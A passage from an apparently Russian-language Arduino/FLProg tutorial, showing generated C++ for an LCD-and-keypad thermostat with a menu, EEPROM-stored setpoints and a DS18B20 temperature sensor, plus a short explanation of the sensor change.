} else {
if (\_disp6oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp6oldLength = 0;
}
}
if (\_gtv7) {
\_dispTempLength2 = ((\_MenuBlock\_360159546\_VNO)).length();
if (\_disp7oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp7oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 1);
\_lcd2.print((\_MenuBlock\_360159546\_VNO));
} else {
if (\_disp7oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp7oldLength = 0;
}
}
if (\_trgrt1) \_trgr1 = 0;
if (((\_menuValueArray\_long[0])) == ((\_menuValueArray\_long[1]))) \_trgr1 = 1;
if (!(\_gtv6)) {
if (\_trgrt1I) {
\_trgrt1 = 0;
} else {
\_trgrt1 = 1;
\_trgrt1I = 1;
}
} else {
\_trgrt1 = 0;
\_trgrt1I = 0;
};
\_gtv7 = ( (\_gtv6) && (!(\_trgr1)) );
\_gtv8 = ( (\_trgr1) && (\_gtv6) );
if (\_trgrt1) {
\_menuValueArray\_long[0] = 0L;
}
if (\_gtv8) {
\_tempVariable\_bool = 1;
if ( ! \_MenuBlock\_47814740\_OEIS ) {
\_MenuBlock\_47814740\_OEIS = 1;
\_MainMenus[1].currentItem = \_MenuItems[1];
(\_MainMenus[1]).tempString = "";
}
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[1].currentItem ).startInArrayIndex) + 10]);
\_MenuBlock\_47814740\_MNO = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
\_MenuBlock\_47814740\_VNO = \_menuOutputValueString (1);
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[1]).currentItem).startInArrayIndex) + 12]);
if (\_tempVariable\_byte == 0 ) {
\_MenuBlock\_47814740\_ASO\_1 = "";
} else {
\_MenuBlock\_47814740\_ASO\_1 = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
}
} else {
\_tempVariable\_bool = 0;
if (\_MenuBlock\_47814740\_OEIS) {
\_MenuBlock\_47814740\_OEIS = 0;
\_menuUpdateToEEpromItems();
}
\_MenuBlock\_47814740\_ASO\_1 = "";
\_MenuBlock\_47814740\_MNO = "";
\_MenuBlock\_47814740\_VNO = "";
}
if (\_gtv20) {
if ( ! \_MenuBlock\_47814740\_OMUIS) {
\_MenuBlock\_47814740\_OMUIS = 1; if (\_tempVariable\_bool) {
\_menuUpEvents(1);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OMUIS = 0;
}
if (\_gtv21) {
if ( ! \_MenuBlock\_47814740\_OMDIS) {
\_MenuBlock\_47814740\_OMDIS = 1; if (\_tempVariable\_bool) {
\_menuDownEvents(1);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OMDIS = 0;
}
if (\_gtv18) {
if ( ! \_MenuBlock\_47814740\_OEMIS) {
\_MenuBlock\_47814740\_OEMIS = 1; if (\_tempVariable\_bool) {
\_menuEnterTheMenuEvents (1);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OEMIS = 0;
}
if (\_gtv19) {
if ( ! \_MenuBlock\_47814740\_OExFMIS) {
\_MenuBlock\_47814740\_OExFMIS = 1; if (\_tempVariable\_bool) {
\_menuExitFromMenuEvents (1);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OExFMIS = 0;
}
if (\_gtv17) {
if ( ! \_MenuBlock\_47814740\_IDI\_0) {
\_MenuBlock\_47814740\_IDI\_0 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '0');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_0 = 0;
}
if (\_gtv1) {
if ( ! \_MenuBlock\_47814740\_IDI\_1) {
\_MenuBlock\_47814740\_IDI\_1 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '1');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_1 = 0;
}
if (\_gtv2) {
if ( ! \_MenuBlock\_47814740\_IDI\_2) {
\_MenuBlock\_47814740\_IDI\_2 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '2');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_2 = 0;
}
if (\_gtv3) {
if ( ! \_MenuBlock\_47814740\_IDI\_3) {
\_MenuBlock\_47814740\_IDI\_3 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '3');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_3 = 0;
}
if (\_gtv4) {
if ( ! \_MenuBlock\_47814740\_IDI\_4) {
\_MenuBlock\_47814740\_IDI\_4 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '4');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_4 = 0;
}
if (\_gtv5) {
if ( ! \_MenuBlock\_47814740\_IDI\_5) {
\_MenuBlock\_47814740\_IDI\_5 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '5');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_5 = 0;
}
if (\_gtv13) {
if ( ! \_MenuBlock\_47814740\_IDI\_6) {
\_MenuBlock\_47814740\_IDI\_6 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '6');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_6 = 0;
}
if (\_gtv14) {
if ( ! \_MenuBlock\_47814740\_IDI\_7) {
\_MenuBlock\_47814740\_IDI\_7 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '7');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_7 = 0;
}
if (\_gtv15) {
if ( ! \_MenuBlock\_47814740\_IDI\_8) {
\_MenuBlock\_47814740\_IDI\_8 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '8');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_8 = 0;
}
if (\_gtv16) {
if ( ! \_MenuBlock\_47814740\_IDI\_9) {
\_MenuBlock\_47814740\_IDI\_9 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '9');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_9 = 0;
}
if (\_gtv22) {
if ( ! \_MenuBlock\_47814740MinusIOS) {
\_MenuBlock\_47814740MinusIOS = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '-' );
}
}
} else {
\_MenuBlock\_47814740MinusIOS = 0;
}
if (\_gtv8) {
\_dispTempLength2 = ((\_MenuBlock\_47814740\_MNO)).length();
if (\_disp2oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp2oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 0);
\_lcd2.print((\_MenuBlock\_47814740\_MNO));
} else {
if (\_disp2oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp2oldLength = 0;
}
}
if (\_gtv8) {
\_dispTempLength2 = ((((\_MenuBlock\_47814740\_VNO) + (String(" ")) + (\_MenuBlock\_47814740\_ASO\_1)))).length();
if (\_disp1oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp1oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 1);
\_lcd2.print((((\_MenuBlock\_47814740\_VNO) + (String(" ")) + (\_MenuBlock\_47814740\_ASO\_1))));
} else {
if (\_disp1oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp1oldLength = 0;
}
}
if ((\_gtv11) > (Menu\_Value\_2\_TVD)) \_trgr3 = 0;
if ((\_gtv11) < (Menu\_Value\_1\_TVD)) \_trgr3 = 1;
digitalWrite(16, !(\_trgr3));
if (!(\_gtv6)) {
Menu\_Value\_1\_TVD = \_menuValueArray\_int[1];
}
\_gtv10 = \_trgr3;
if (!(\_gtv6)) {
Menu\_Value\_2\_TVD = \_menuValueArray\_int[3];
}
if ((\_gtv11) < (Menu\_Value\_4\_TVD)) \_trgr4 = 0;
if ((\_gtv11) > (Menu\_Value\_3\_TVD)) \_trgr4 = 1;
if (!(\_gtv6)) {
Menu\_Value\_3\_TVD = \_menuValueArray\_int[2];
}
digitalWrite(15, !(\_trgr4));
\_gtv12 = \_trgr4;
if (!(\_gtv6)) {
Menu\_Value\_4\_TVD = \_menuValueArray\_int[0];
}
digitalWrite(17, ( (( (\_gtv12) || (\_gtv10) )) && ((\_menuValueArray\_bool[0])) ));
if (\_gtv10)
{
\_swi1 = String("Heater - ON");
}
else
{
\_swi1 = String("Heater - OFF");
}
if (\_gtv12)
{
\_swi2 = String("Ventilation - ON");
}
else
{
\_swi2 = String("Ventilation - OFF");
}
if (!(\_gtv6)) {
\_dispTempLength2 = ((((String("Temp - ")) + (( \_floatToStringWitRaz(\_gtv11, 2))) + (String(" C"))))).length();
if (\_disp3oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp3oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 0);
\_lcd2.print((((String("Temp - ")) + (( \_floatToStringWitRaz(\_gtv11, 2))) + (String(" C")))));
} else {
if (\_disp3oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp3oldLength = 0;
}
}
if (!(\_gtv6)) {
\_dispTempLength2 = ((\_swi1)).length();
if (\_disp4oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp4oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 1);
\_lcd2.print((\_swi1));
} else {
if (\_disp4oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp4oldLength = 0;
}
}
if (!(\_gtv6)) {
\_dispTempLength2 = ((\_swi2)).length();
if (\_disp5oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp5oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 2);
\_lcd2.print((\_swi2));
} else {
if (\_disp5oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp5oldLength = 0;
}
}
}
String \_floatToStringWitRaz(float value, int raz)
{
return String(value, raz);
}
void \_menuUpEvents (byte menuIndex)
{
(\_MainMenus[menuIndex]).tempString = "";
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[ (((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
byte parentStartIndex;
byte parentStopIndex;
if (parIndex == 0) {
parentStartIndex = (\_MainMenus[menuIndex]).startIndex;
parentStopIndex = (\_MainMenus[menuIndex]).stopIndex;
}
else {
parentStartIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 3]);
parentStopIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 4]);
}
if (tempIndex == parentStartIndex) {
if ((\_MainMenus[menuIndex]).isSwitchMenuAroundRing) {
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parentStopIndex - 1];
return;
} else {
return;
}
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[tempIndex - 2];
return;
}
void \_menuDownEvents (byte menuIndex)
{
(\_MainMenus[menuIndex]).tempString = "";
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
byte parentStartIndex;
byte parentStopIndex;
if (parIndex == 0) {
parentStartIndex = (\_MainMenus[menuIndex]).startIndex;
parentStopIndex = (\_MainMenus[menuIndex]).stopIndex;
}
else {
parentStartIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 3]);
parentStopIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MenuItems[parIndex - 1]).startInArrayIndex) + 4]);
}
if (tempIndex == parentStopIndex) {
if ((\_MainMenus[menuIndex]).isSwitchMenuAroundRing) {
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parentStartIndex - 1];
return;
} else {
return;
}
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[tempIndex];
return;
}
void \_menuEnterTheMenuEvents (byte menuIndex)
{
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
if (!(itemType == 0)) {
return;
}
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte newIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MenuItems[tempIndex - 1]).startInArrayIndex) + 3]);
if (newIndex == 0) {
return;
}
(\_MainMenus[menuIndex]).tempString = "";
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[newIndex - 1];
return;
}
void \_menuExitFromMenuEvents (byte menuIndex)
{
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
if (parIndex == 0) {
return;
}
(\_MainMenus[menuIndex]).tempString = "";
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parIndex - 1];
return;
}
String \_menuOutputValueString (byte menuIndex)
{
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[ (((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte valueStrIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 11]);
if (itemType == 0) {
if ( valueStrIndex == 0) {
return "";
} else {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[valueStrIndex - 1])));
}
}
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte indexMin = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 7]);
byte indexMax = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 6]);
if ( valIndex == 0) {
return "";
}
byte convFormat = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 9]);
if (itemType == 3) {
return \_convertBoolean(itemType, convFormat, valIndex, indexMax, indexMin);
}
if (itemType == 4) {
return \_convertNamber(itemType, convFormat, valIndex, indexMax, indexMin);
}
if (itemType == 5) {
return \_convertNamber(itemType, convFormat, valIndex, indexMax, indexMin);
}
return "";
}
void \_menuDirectInputKeyPressEvents(byte menuIndex, char inputSymbol)
{
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte temp;
if (valIndex == 0) {
return;
}
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
if (itemType == 7) {
return;
}
if (itemType == 3) {
(\_MainMenus[menuIndex]).tempString = "";
}
if (inputSymbol == '-') {
temp = ((\_MainMenus[menuIndex]).tempString).length() ; if (temp == 0) {
(\_MainMenus[menuIndex]).tempString = "-";
} else
{ if (((\_MainMenus[menuIndex]).tempString).charAt(0) == '-') {
(\_MainMenus[menuIndex]).tempString = ((\_MainMenus[menuIndex]).tempString).substring(1);
} else
{
(\_MainMenus[menuIndex]).tempString = "-" + (\_MainMenus[menuIndex]).tempString;
}
}
} else {
(\_MainMenus[menuIndex]).tempString = (\_MainMenus[menuIndex]).tempString + inputSymbol;
}
if (itemType == 3) {
\_menuValueArray\_bool[valIndex - 1] = ((((\_MainMenus[menuIndex]).tempString )).toInt());
}
if (itemType == 4) {
\_menuValueArray\_int[valIndex - 1] = (((\_MainMenus[menuIndex]).tempString )).toInt();
}
if (itemType == 5) {
\_menuValueArray\_long[valIndex - 1] = (((\_MainMenus[menuIndex]).tempString ).toInt());
}
}
void \_menuUpdateToEEpromItems()
{
EEPROM.updateLong(2, (\_menuValueArray\_long[1]));
EEPROM.updateBit(1, 0, (\_menuValueArray\_bool[0]));
EEPROM.updateInt(6, (\_menuValueArray\_int[0]));
EEPROM.updateInt(8, (\_menuValueArray\_int[1]));
EEPROM.updateInt(10, (\_menuValueArray\_int[2]));
EEPROM.updateInt(12, (\_menuValueArray\_int[3]));
}
String \_readStringFromProgmem (char \*string)
{
String result = String("");
while (pgm\_read\_byte(string) != '\0')
{
result = result + char(pgm\_read\_byte(string));
string++;
}
return result;
}
String \_convertNamber(byte itemType, byte convFormat, byte valIndex, byte indexMax, byte indexMin)
{
if (itemType == 4) {
if (convFormat == 4) {
return String((\_menuValueArray\_int[valIndex - 1 ]), DEC);
}
if (convFormat == 5) {
return String((\_menuValueArray\_int[valIndex - 1]), HEX);
}
if (convFormat == 6) {
return String((\_menuValueArray\_int[valIndex - 1]), BIN);
}
}
if (itemType == 5) {
if (convFormat == 4) {
return String((\_menuValueArray\_long[valIndex - 1 ]), DEC);
}
if (convFormat == 5) {
return String((\_menuValueArray\_long[valIndex - 1]), HEX);
}
if (convFormat == 6) {
return String((\_menuValueArray\_long[valIndex - 1]), BIN);
}
}
}
String \_convertBoolean(byte itemType, byte convFormat, byte valIndex, byte indexMax, byte indexMin)
{
if (convFormat == 1) {
if (\_menuValueArray\_bool[valIndex - 1]) {
return "1";
} else {
return "0";
}
}
if (convFormat == 2) {
if (\_menuValueArray\_bool[valIndex - 1]) {
return "True";
} else {
return "False";
}
}
if (convFormat == 3) {
if (\_menuValueArray\_bool[valIndex - 1 ]) {
return "Да";
} else {
return "Нет";
}
}
if (\_menuValueArray\_bool[valIndex - 1]) {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[indexMax - 1])));
} else {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[indexMin - 1])));
}
}
```
Использование резистора в качестве задания температуры удобно для отладки, но в реальном применении все таки необходим датчик температуры. Используем датчик температуры DS18B20. Для этого необходимо изменить первую плату в обоих проектах.
Блок «ScanOneWare» служит для автоматического определения адреса датчика. Это позволяет заменить в случае необходимости датчик температуры без перепрошивки контроллера.
**Изменённые принципиальные схемы**Схема с LCD Keypad Shield.
Схема с матричной клавиатурой
**Результат кода для схемы с LCD Keypad Shield.**
```
#include
#include
#include
LiquidCrystal \_lcd1(8, 9, 4, 5, 6, 7);
int \_dispTempLength1 = 0;
boolean \_isNeedClearDisp1;
struct UB\_142171746
{
bool ubo\_101667604 = 0;
bool ubo\_51674151 = 0;
bool ubo\_137412502 = 0;
bool ubo\_174461762 = 0;
bool ubo\_157422683 = 0;
int \_gtv1 = 0;
int \_gtv2 = 0;
int \_gtv3 = 0;
int \_gtv4 = 0;
int \_gtv5 = 0;
bool \_bounse1S = 0;
bool \_bounse1O = 0;
unsigned long \_bounse1P = 0UL;
bool \_bounse2S = 0;
bool \_bounse2O = 0;
unsigned long \_bounse2P = 0UL;
bool \_bounse3S = 0;
bool \_bounse3O = 0;
unsigned long \_bounse3P = 0UL;
bool \_bounse4S = 0;
bool \_bounse4O = 0;
unsigned long \_bounse4P = 0UL;
bool \_bounse5S = 0;
bool \_bounse5O = 0;
unsigned long \_bounse5P = 0UL;
};
UB\_142171746 UB\_142171746\_Instance1;
int UB\_142171746\_ubi\_125089190 = 0;
OneWire \_ow12(12);
byte \_FLPArray27618413[9];
const byte \_menuParametrsArray[] PROGMEM = {1, 0, 0, 4, 5, 0, 0, 0, 0, 0, 1, 9, 0, 2, 0, 0, 6, 7, 0, 0, 0, 0, 0, 6, 9, 0, 3, 3, 1, 0, 0, 0, 10, 11, 1, 8, 3, 0, 0, 4, 4, 2, 0, 0, 1, 0, 0, 1, 4, 4, 0, 8, 5, 4, 4, 0, 0, 1, 0, 0, 1, 4, 7, 0, 8, 6, 4, 1, 0, 0, 2, 0, 0, 1, 4, 2, 0, 8, 7, 4, 3, 0, 0, 2, 0, 0, 1, 4, 5, 0, 8};
bool \_menuValueArray\_bool[1];
const bool \_menuConstantValuesArray\_bool[] PROGMEM = {1};
int \_menuValueArray\_int[4];
const int \_menuConstantValuesArray\_int[] PROGMEM = {1};
const char \_flprogMenuNameString1[] PROGMEM = "HeaterSetting";
const char \_flprogMenuNameString2[] PROGMEM = "Vent-On";
const char \_flprogMenuNameString3[] PROGMEM = "Sound";
const char \_flprogMenuNameString4[] PROGMEM = "Heater-On";
const char \_flprogMenuNameString5[] PROGMEM = "Vent-Off";
const char \_flprogMenuNameString6[] PROGMEM = "Vent Setting";
const char \_flprogMenuNameString7[] PROGMEM = "Heater-Off";
const char \_flprogMenuNameString8[] PROGMEM = "C";
const char \_flprogMenuNameString9[] PROGMEM = "Enter to submenu";
const char \_flprogMenuNameString10[] PROGMEM = "On";
const char \_flprogMenuNameString11[] PROGMEM = "Off";
const char\* const \_flprogMenuStringsArray[] PROGMEM = { \_flprogMenuNameString1, \_flprogMenuNameString2, \_flprogMenuNameString3, \_flprogMenuNameString4, \_flprogMenuNameString5, \_flprogMenuNameString6, \_flprogMenuNameString7, \_flprogMenuNameString8, \_flprogMenuNameString9, \_flprogMenuNameString10, \_flprogMenuNameString11};
struct \_menuItemStricture {
int startInArrayIndex;
};
struct \_menuMainStricture {
byte startIndex;
byte stopIndex;
bool isSwitchMenuAroundRing;
\_menuItemStricture currentItem;
};
\_menuItemStricture \_MenuItems[7];
\_menuMainStricture \_MainMenus[1];
bool \_gtv1;
bool \_gtv2;
bool \_gtv3;
bool \_gtv4;
bool \_gtv5;
bool \_gtv6;
bool \_gtv7;
bool \_gtv8;
bool \_gtv9;
bool \_gtv10 = 0;
float \_gtv11;
bool \_gtv12 = 0;
int Menu\_Value\_3\_TVD = 0;
int Menu\_Value\_1\_TVD = 0;
String \_swi2;
bool \_trgrt4 = 0;
bool \_trgrt4I = 0;
String \_swi1;
bool \_trgrt1 = 0;
bool \_trgrt1I = 0;
int \_disp1oldLength = 0;
bool \_trgrt2 = 0;
bool \_trgrt2I = 0;
int \_disp3oldLength = 0;
bool \_sowb1\_needScan = 0;
bool \_sowb1\_ost = 0;
bool \_sowb1\_FLPArray27618413 = 0;
int Menu\_Value\_4\_TVD = 0;
bool \_trgrt3 = 0;
bool \_trgrt3I = 0;
int Menu\_Value\_2\_TVD = 0;
int \_disp4oldLength = 0;
bool \_trgr4 = 0;
bool \_trgr2 = 0;
bool \_trgr1 = 0;
bool \_trgr3 = 0;
String \_MenuBlock\_47814740\_ASO\_1;
String \_MenuBlock\_47814740\_MNO;
String \_MenuBlock\_47814740\_VNO;
bool \_MenuBlock\_47814740\_OEIS = 0;
bool \_MenuBlock\_47814740\_OMUIS = 0;
bool \_MenuBlock\_47814740\_OMDIS = 0;
bool \_MenuBlock\_47814740\_OEMIS = 0;
bool \_MenuBlock\_47814740\_OExFMIS = 0;
bool \_MenuBlock\_47814740\_OVUIS = 0;
bool \_MenuBlock\_47814740\_OVDIS = 0;
unsigned long \_MenuBlock\_47814740\_VUDST = 0UL;
unsigned long \_MenuBlock\_47814740\_VUDSPT = 0UL;
byte \_MenuBlock\_47814740\_VUDSM = 0;
int \_MenuBlock\_47814740\_VUDPT = 0;
bool \_MenuBlock\_47814740\_AMMO = 0;
bool \_tim2I = 0;
bool \_tim2O = 0;
unsigned long \_tim2P = 0UL;
bool \_tim3I = 0;
bool \_tim3O = 0;
unsigned long \_tim3P = 0UL;
bool \_tim1I = 0;
bool \_tim1O = 0;
unsigned long \_tim1P = 0UL;
unsigned long \_d18x2x1Tti = 0UL;
float \_d18x2x1O = 0.00;
int \_disp2oldLength = 0;
void setup()
{
if ((EEPROM.read(0)) != 97) {
EEPROM.write(0, 97) ;
EEPROM.updateInt(8, 25);
EEPROM.updateBit(1, 0, 0);
EEPROM.updateInt(4, 10);
EEPROM.updateInt(6, 30);
EEPROM.updateInt(2, 40);
}
pinMode(2, OUTPUT);
pinMode(3, OUTPUT);
pinMode(11, OUTPUT);
\_lcd1.begin(16, 2);
\_MenuItems[0].startInArrayIndex = 0;
\_MenuItems[1].startInArrayIndex = 13;
\_MenuItems[2].startInArrayIndex = 26;
\_MenuItems[3].startInArrayIndex = 39;
\_MenuItems[4].startInArrayIndex = 52;
\_MenuItems[5].startInArrayIndex = 65;
\_MenuItems[6].startInArrayIndex = 78;
\_MainMenus[0].startIndex = 1;
\_MainMenus[0].isSwitchMenuAroundRing = 1;
\_MainMenus[0].stopIndex = 3;
\_MainMenus[0].currentItem = \_MenuItems[0];
\_menuValueArray\_int[0] = (EEPROM.readInt(2));
\_menuValueArray\_bool[0] = (EEPROM.readBit(1, 0));
\_menuValueArray\_int[1] = (EEPROM.readInt(4));
\_menuValueArray\_int[2] = (EEPROM.readInt(6));
\_menuValueArray\_int[3] = (EEPROM.readInt(8));
}
void loop()
{ bool \_tempVariable\_bool;
byte \_tempVariable\_byte;
if (\_isNeedClearDisp1) {
\_lcd1.clear();
\_isNeedClearDisp1 = 0;
}
if (1) {
if (\_trgrt4I) {
\_trgrt4 = 0;
} else {
\_trgrt4 = 1;
\_trgrt4I = 1;
}
} else {
\_trgrt4 = 0;
\_trgrt4I = 0;
};
if (\_isTimer(\_d18x2x1Tti, 1000)) {
\_d18x2x1Tti = millis();
\_d18x2x1O = \_readDS18\_ow12(\_FLPArray27618413, \_FLPArray27618413[8]);
}
if (\_sowb1\_needScan) {
if ( \_oneWireSeach (\_FLPArray27618413, \_ow12)) {
\_sowb1\_FLPArray27618413 = 1;
}
\_ow12.reset\_search();
\_sowb1\_needScan = 0;
}
if (\_trgrt4) {
if (! \_sowb1\_ost) {
\_sowb1\_ost = 1;
\_sowb1\_needScan = 1;
\_sowb1\_FLPArray27618413 = 0;
}
} else {
\_sowb1\_ost = 0;
}
\_gtv11 = (\_d18x2x1O);
UB\_142171746\_ubi\_125089190 = (analogRead (0));
UB\_142171746\_Instance1 = \_func\_UB\_142171746(UB\_142171746\_Instance1, UB\_142171746\_ubi\_125089190, 96, 250, 402, 635);
\_gtv3 = UB\_142171746\_Instance1.ubo\_101667604;
\_gtv4 = UB\_142171746\_Instance1.ubo\_51674151;
\_gtv5 = UB\_142171746\_Instance1.ubo\_137412502;
\_gtv2 = UB\_142171746\_Instance1.ubo\_174461762;
\_gtv1 = UB\_142171746\_Instance1.ubo\_157422683;
if (\_gtv1)
{
if (\_tim1I) {
if (\_isTimer(\_tim1P, 2000)) {
\_tim1O = 1;
}
} else {
\_tim1I = 1;
\_tim1P = millis();
}
} else {
\_tim1O = 0;
\_tim1I = 0;
}
if (\_tim2O) \_trgr2 = 0;
if (\_tim1O) \_trgr2 = 1;
if (\_trgr2) {
if (\_trgrt3I) {
\_trgrt3 = 0;
} else {
\_trgrt3 = 1;
\_trgrt3I = 1;
}
} else {
\_trgrt3 = 0;
\_trgrt3I = 0;
};
if (\_trgrt1) {
\_tim2O = 1;
\_tim2I = 1;
} else {
if (\_tim2I) {
\_tim2I = 0;
\_tim2P = millis();
} else {
if (\_tim2O) {
if ( \_isTimer(\_tim2P, 200)) \_tim2O = 0;
}
}
}
if (!(\_gtv1)) {
if (\_trgrt1I) {
\_trgrt1 = 0;
} else {
\_trgrt1 = 1;
\_trgrt1I = 1;
}
} else {
\_trgrt1 = 0;
\_trgrt1I = 0;
};
\_gtv8 = \_trgrt3;
\_gtv7 = ( (!(\_trgr2)) && (\_trgrt1) );
if (1)
{
if (\_tim3I) {
if (\_isTimer(\_tim3P, 200)) {
\_tim3O = 1;
}
} else {
\_tim3I = 1;
\_tim3P = millis();
}
} else {
\_tim3O = 0;
\_tim3I = 0;
}
if (!(\_gtv7)) {
if (\_trgrt2I) {
\_trgrt2 = 0;
} else {
\_trgrt2 = 1;
\_trgrt2I = 1;
}
} else {
\_trgrt2 = 0;
\_trgrt2I = 0;
};
if (( (\_gtv9) && (\_gtv8) )) \_trgr1 = 0;
if (( (\_tim3O) && (\_trgrt2) )) \_trgr1 = 1;
\_gtv6 = \_trgr1;
if (\_gtv6) {
\_tempVariable\_bool = 1;
if ( ! \_MenuBlock\_47814740\_OEIS ) {
\_MenuBlock\_47814740\_OEIS = 1;
\_MainMenus[0].currentItem = \_MenuItems[0];
}
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[0].currentItem ).startInArrayIndex) + 10]);
\_MenuBlock\_47814740\_MNO = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
\_MenuBlock\_47814740\_VNO = \_menuOutputValueString (0);
\_MenuBlock\_47814740\_AMMO = (pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[0].currentItem ).startInArrayIndex) + 5]) ) == 0;
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[0]).currentItem).startInArrayIndex) + 12]);
if (\_tempVariable\_byte == 0 ) {
\_MenuBlock\_47814740\_ASO\_1 = "";
} else {
\_MenuBlock\_47814740\_ASO\_1 = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
}
} else {
\_tempVariable\_bool = 0;
if (\_MenuBlock\_47814740\_OEIS) {
\_MenuBlock\_47814740\_OEIS = 0;
\_menuUpdateToEEpromItems();
}
